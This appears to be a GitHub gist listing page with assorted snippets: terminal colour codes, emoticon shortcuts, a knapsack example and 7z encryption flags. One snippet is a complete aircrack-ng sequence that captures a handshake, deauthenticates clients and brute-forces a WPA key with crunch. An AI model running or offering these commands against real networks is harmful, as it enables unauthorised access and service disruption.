| Value | Color |
|---|---|
| \e[0;30m | Black |
| \e[0;31m | Red |
| \e[0;32m | Green |
| \e[0;33m | Yellow |
| \e[0;34m | Blue |
| \e[0;35m | Purple |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/env python | |
| def cprint(string, color): | |
| """ print string with escape code for bash color """ | |
| color_code = { | |
| 'black': '\x1b[30m', | |
| 'red': '\x1b[31m', | |
| 'green': '\x1b[32m', | |
| 'yellow': '\x1b[33m', |
iwconfig
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c CHANNEL -w FILENAME --bssid BSSID wlan0mon
aireplay-ng -0 0 -a BSSID wlan0mon
crunch 9 9 0123456789 -t 1231%%%%% | aircrack-ng -w- FILENAME --bssid BSSID
airmon-ng stop wlan0mon
Get network drive name
$ inxi -nUnload the module and try the first parameter option
$ sudo modprobe -r rtl8723be
$ sudo modprobe rtl8723be ant_sel=1Command:
7z a -t7z -m0=lzma2 -mx=9 -mfb=64 -md=32m -ms=on -mhe=on -p dir.7z dirExplanation:
a Add (dir1 to archive.7z)
-t7z Use a 7z archive
-m0=lzma2 Use lzma2 method
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| black="$(tput setaf 0)" | |
| red="$(tput setaf 1)" | |
| green="$(tput setaf 2)" | |
| yellow="$(tput setaf 3)" | |
| blue="$(tput setaf 4)" | |
| magenta="$(tput setaf 5)" | |
| cyan="$(tput setaf 6)" | |
| white="$(tput setaf 7)" | |
| reset="$(tput sgr0)" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ; Japanese Emoijs | |
| :::angry::(#`Д´) | |
| :::awesome::°˖✧◝(⁰▿⁰)◜✧˖° | |
| :::cry::(μ_μ) | |
| :::fear::〣( ºΔº )〣 | |
| :::dcare::┐( ̄ヘ ̄)┌ | |
| :::confuse::( ̄ω ̄;) | |
| :::surprise::Σ(O_O) | |
| :::greet::(°▽°)/ | |
| :::hug::(づ ̄ ³ ̄)づ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| """ | |
| Cho vali chứa được trọng lượng tối đa là W. Có n đồ vật được đánh số từ 1 đến n, | |
| đồ vật thứ i có khối lượng weight[i] và giá trị value[i], 1 <= i <= n. Tìm cách | |
| xếp đồ vật vào vali sao cho tổng giá trị các đồ vật trong vali là lớn nhất | |
| """ | |
| weight = [3, 4, 5, 2, 1] | |
| value = [4, 5, 6, 3, 1] |
OlderNewer